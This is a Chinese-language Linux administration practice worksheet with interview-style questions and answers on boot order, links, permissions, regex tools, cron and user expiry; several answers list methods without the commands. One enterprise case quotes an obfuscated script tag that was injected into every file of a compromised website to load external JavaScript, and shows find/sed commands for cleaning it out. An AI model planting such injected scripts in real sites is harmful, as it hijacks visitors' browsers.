Linux教學輔助訓練(第三階段) 標簽(空格分隔): Linux輔助訓練 陳思齊 [更多資料點我查看][1] 提示 :本階段性練習題是對《實戰教學筆記》相應章節知識的歸納與擴展部分,必須要 會,是面試前必須重溫的一套基礎練習(第一階段即為實戰教學筆記第四節 Linux命令 基礎)。 本文涉及的命令 ...
Linux教學輔助訓練(第三階段)
標簽(空格分隔): Linux輔助訓練-陳思齊
---更多資料點我查看
提示:本階段性練習題是對《實戰教學筆記》相應章節知識的歸納與擴展部分,必須要 會,是面試前必須重溫的一套基礎練習(第一階段即為實戰教學筆記第四節 Linux命令 基礎)。
本文涉及的命令有:
w,who,users,last,lastlog,mkdir,chmod,cut,awk,sed,setup,ifconfig,route,date,sudo,which,whereis,locate,find,shutdown,reboot,useradd,chage,grep,echo,stat
本文涉及的知識有:
(1)軟鏈接知識,
(2)開機啟動知識
(3)系統運行級別
(4)文件刪除原理
(5)正則表達式
(6)linux基礎系統網路配置
(7)linux PATH環境變數知識
(8)定時任務
(9)linux 系統許可權知識
(10)系統重要路徑知識
(11)linux常用快捷鍵知識
一,口頭表達練習
1.1 描述linux系統從開機到登陸界面的啟動過程
1,開機BIOS自檢,載入硬碟
2,MBR引導
3,grub菜單
4,載入內核kernel
5,啟動init進程
6,讀取inittab配置文件
7,執行/etc/rc.d/rc.sysinit初始化腳本
8,根據啟動級別運行/etc/rc.d/rc.d/目錄下的一系列軟鏈接腳本(對應啟動級別)
9,運行/etc/rc.d/rc.local個人配置腳本
10,執行/bin/login登陸腳本登陸
1.2 描述linux下軟鏈接和硬鏈接的區別。
1,如何創建
預設不帶參數情況下,ln命令創建的是硬鏈接,帶-s參數的ln命令創建的是軟鏈接
2,含義:
硬鏈接文件與源文件的inode節點號相同,而軟鏈接文件相當於windows下麵的快捷方式(inode節點號與源文件不同)
3,特點:
不能對目錄創建硬鏈接,但可以創建軟鏈接,對目錄的軟鏈接會經常被用到。
軟鏈接可以跨文件系統,硬鏈接不可以跨文件系統
4,軟硬鏈接和源文件的刪除
刪除軟鏈接文件,對源文件及硬鏈接文件無任何影響
刪除文件的硬鏈接文件,對源文件及軟鏈接文件無任何影響
刪除鏈接文件的源文件,對硬鏈接文件無影響,會導致其軟鏈接失效(紅底白字閃爍妝)
同時刪除源文件及其硬鏈接文件,整個文件才會被真正的刪除
1.3 描述linux shell中單引號,雙引號及不加引號的簡單區別
1,單引號:
可以說是所見即所得,也就是將單引號內的內容原樣輸出,或者描述為單引號裡面看到的是什麼就會輸出什麼。
2,雙引號:
把雙引號內的內容輸出出來,如果內容中有命令,變數等,會先把變數,命令解析出結果,然後在輸出最終內容來。
3,無引號:
與雙引號類似,但支持通配符
把內容輸出出來,可能不會將含有空格的字元串視為一個整體輸出,如果內容中有命令,變數等,會先把變數,命令解析出結果,然後在輸出最終內容來,如果字元串中帶有空格等特殊字元,則不能完整的輸出,需要改加雙引號,一般連續的字元串,數字,路徑等可以用,不過最好用雙引號替代之。
1.4描述linux運行級別0-6的各自含義
0:關閉電腦
1:單用戶模式
2:沒有NFS網路文件系統的多用戶模式
3:命令(文本)模式
4:保留模式
5:圖形桌面模式
6:重啟電腦
1.5描述linux下文件刪除的原理
linux文件刪除原理
- linux是通過link的數量來控制文件刪除的,只有當一個文件不存在任何link的時候,這個文件才會被刪除。一般來說,每個文件都有2個link計數器:i_count和i_link.
- i_count的意義是當前文件使用者(被調用)的數量,i_link的意義是介質連接的數量(硬鏈接的數量);可以理解為i_count是記憶體的引用計數器,i_link是磁碟的引用計數器
- 當一個文件被某一個進程引用時,對應i_count數就會增加;當創建文件的硬鏈接的時候,對應i_link數就會增加
- 對於刪除命令rm而言,實際就是減少磁碟引用計數i_link。
對於linux系統來講,只有當i_link和i_count數量同時為0時,系統才會將文件刪除。
二,筆試部分
2.1 如何取得/chensiqi.py 文件的許可權對應的數字內容,如-rw-r-r-- 為644,要求使用命令取得644這樣的數字
答:
方法一:ll + tr + awk
方法二:stat + grep + egrep
方法三:stat + sed + awk
方法四:stat + awk + sed
方法五:stat +sed的反向引用
方法六:stat +sed +cut
方法七:stat -c
本題方法有很多,請同學們將之前所學知識融會貫通。(相信學習到這裡的同學已經漸漸開始明白sed,awk 正則之強大)
2.2 linux下通過mkdir命令創建一個新目錄/chensiqi/ett,它的硬鏈接數是多少,為什麼?如果在/chensiqi/ett下麵再創建一個目錄test。再問/chensiqi/ett的硬鏈接數是多少?為什麼?
答:
新創建的文件夾預設兩個硬鏈接數
在文件夾里在創建一個文件夾,當前文件夾硬鏈接數變成3個
2.3 請執行命令取出linux中eth0的IP地址(請用cut,有能力者也可以分別用awk,sed命令答)
答:
方法一:cut解決
方法二:sed解決
方法三:awk解決
awk簡化實現方法
方法四:egrep解決
方法還是很多,這裡就不一一舉例了,目前輔助訓練已經進入了第三階段,在本階段里,所有同學都應該將grep,egrep,sed,awk,cut,正則,擴展正則用熟練,這是作為運維人員的基礎核心能力之一,非常重要。
2.4 請給出預設情況eth0網卡配置文件的路徑及客戶端DNS的路徑
答:
/etc/sysconfig/network-scripts/ifcfg-eth0
/etc/resolv.conf
2.5 企業案例模擬:查找當前目錄下所有文件,並把文件中的www.etiantian.org字元串替換成www.chensiqi.cc
題目背景:
這是根據一個IT公司遇到的實際問題改編的題,當時的情況是:一個lamp伺服器,站點目錄下所有文件均被植入瞭如下內容:
<script language=javascript src=http://%4%66E%78%6F%72%67%2E%70%%6F/x.js?google_ad=93x28_ad></script>
包括圖片文件也被植入了,網站打開時就會調用這個地址,顯示一個廣告,造成的影響很惡劣,雖然問題現在看起來簡單,但當時該公司的兩個linux運維花了很久都沒搞定
實際解決辦法:
思路是,需要遍歷所有目錄所有文件,把以上被植入的內容刪除掉
一,通過find找出需要修改的文件:
find /chensiqi -type f
二,在生產環境下可以先通過grep -l查看一下預刪除的被篡改內容的文件的文件名
find /chensiqi -type f | xargs grep -l "篡改的內容"
三,刪除掉被篡改的內容
find /chensiqi -type f | xargs sed -i 's#被篡改內容##g'
或:
find /chensiqi -type f -exec sed -i 's#被篡改內容##g' {} \;
當時的處理過程:
1,和運維人員確認確實出問題了,並詳細確認問題情況。
2,制定處理方案,先備份已有數據,然後,執行命令批量修改回來
3,寫解決說明(類似本例這樣),寫完發給她們的運維
4,詢問處理結果,並告知詳細查看日誌,尋找問題發生來源
5,提供亡羊補牢解決方案(站點目錄嚴格許可權規劃方案及新上線發佈規範思路)
從發現到解決的過程:
1,運營人員,網站用戶發現問題,網站有彈窗廣告
2,運營人員報給開發人員,開發聯繫運維人員,開發和運維共同解決
3,開發發現問題原因就是所有站點目錄被嵌入了一段JS代碼
4,運維人員解決問題
綜上:
a,我們需要先備份原始出現問題的原始文件
b,歷史備份覆蓋出現問題的文件,先讓問題立刻消失
c,find+sed 替換出現問題的原始文件,在測試伺服器上看看問題是否解決
d,詳細查看日誌,尋找問題發生的來源
e,提供亡羊補牢解決方案(站點目錄嚴格許可權規劃方案及新上線發佈規範思路)
本虛擬題目解決方法
方法一:exec解決
方法二:xargs解決
2.6 如何賦予chensiqi文件-rw-r--r-x許可權屬性
答:chmod 645 文件名
2.7 執行下麵命令時發現提示需要輸入密碼,請問提示輸入的密碼是哪個用戶的密碼?
[test@chensiqi ~]$ sudo su - chensiqi
答:當前登錄的test用戶的密碼
2.8 問題:請問在一個命令上加什麼參數可以實現下麵命令的內容在同一行輸出。
echo "chensiqi";echo "chensiqi"
答:本題考察echo的-n參數。
2.9 問題:請給出如下格式的date命令 例:11-02-26.在給出實現按周輸出 比如:周六輸出為6,請分別給出命令
答:date +%F_%w
2.10 [CentOS5.X]問題:當從root用戶切到普通用戶時,執行ifconfig 會提示;
[chensiqi@chensiqi ~]$ ifconfig
-bash:ifconfig:command not found
提示:c58會遇到,c64沒有此問題
請問這是為什麼?如何解決,請給出詳細解決過程。
答:
要想解決這個問題,我們需要明白,當我們輸入一個命令以後,系統發生了什麼?
- 當你輸入一個命令以後,linux會先去$PATH里去找這個命令
- 如果$PATH里沒有這個命令的上級目錄文件夾,那麼命令自然就找不到
- 因此,我們需要export PATH=/sbin/:\$PATH將命令的路徑加入到環境變數里(臨時生效)
- 或者,echo "export PATH=/sbin/:$PATH" >> /etc/profile(永久生效)
- 還可以放到用戶的配置文件里,讓某個用戶登錄時生效,(用戶家目錄下的.bash_profile)
2.11 問題:擴展問題:列印三天前的日期格式如:2011-02-26
答:date +%F -d "-3 day"
-d 指定日期列印 -3 day,3天前
-d “+3 day” 指定3天後列印日期
2.12 已知/chensiqi/test.txt文件內容為:
請問如何把文件中的空格過濾掉(要求命令行實現)
答:
方法一:grep或egrep
如果是空行則需要^$來過濾
方法二:awk
2.13 已知/chensiqi/ett.txt 文件內容為:
chensiqi
chhensiiqiedu
test
請使用grep或egrep正則匹配的方式過濾出前兩行內容
答:
2.14 請描述下列路徑的內容是做什麼的?
/var/log/messages
linux日誌文件絕對路徑
/var/log/secure
linux安全日誌文件絕對路徑(用戶登錄日誌)
/var/spool/clientmqueue
linux郵件臨時目錄
/proc/interrupts
查看中斷文件
/etc/fstab
linux開機自動掛載配置文件絕對路徑
/etc/profile
linux全局變數配置文件絕對路徑
2.15 如何快速查到ifconfig的全路徑(假如你不知道他的路徑)
答:
which ifconfig
whereis ifconfig
2.16 每周日上午9點30分運行chensiqi.sh腳本,請用linux定時任務命令表示
答:
每周日上午9:30分運行腳本chensiqi.sh
30 09 * * 0 /bin/sh chensiqi.sh > /dev/null
2.17 請給出查看當前哪些用戶線上的linux命令
答:w
2.18 企業案例:公司一開發人員申請對某一伺服器10天的普通用戶許可權,請問你如何操作?
答:
linux下控制賬戶過期的方法:
企業里一般給無人管理的角色賬戶或開發人員臨時需求等可以設定賬戶有效期,提升安全
方法一:添加用戶時
- useradd chensiqi -e 01/28/12 (臨時指定某個用戶的失效時間)
- useradd -D -e 01/28/12(永久修改創建用戶時的預設失效時間)
或直接修改下麵文件的參數
還原用戶預設失效時間
查看某用戶的賬戶屬性
方法二:修改賬戶屬性
usermod -e 12/26/17 chensiqi
方法三:調整賬戶過期時間
chage -E 12/26/17 chensiqi
2.19 請給出正確的關機和重啟伺服器的命令
答:
關機:
- shutdown -h now 立刻關閉(生產環境常用)
- shutdown -h 1 1分鐘後關機
- init 0 切換運行級別到0
- halt 立即停止系統,需要人工關閉電源(生產環境常用)
- poweroff 立即停止系統,並且關閉電源
重啟:
reboot (生產環境常用)
shutdown -r now (生產環境常用)
shutdown -r 1 1分鐘以後重啟
init 6
註銷
logout
exit
ctrl + d (生產環境常用)
2.20 請寫出下麵linux SecureCRT命令快捷鍵命令的功能?
Ctrl + a:切換到命令行開始
Ctrl + c:終止當前命令或腳本
Ctrl + d:退出當前shell
Ctrl + e:切換到命令行末尾
Ctrl + l:清除屏幕內容,相當於clear
Ctrl + u:清除(剪切)游標之前的內容
Ctrl + k:清除(剪切)游標之後的內容
tab :命令補全
Ctrl + shift + c:命令行複製內容
Ctrl + shift + v:命令行黏貼內容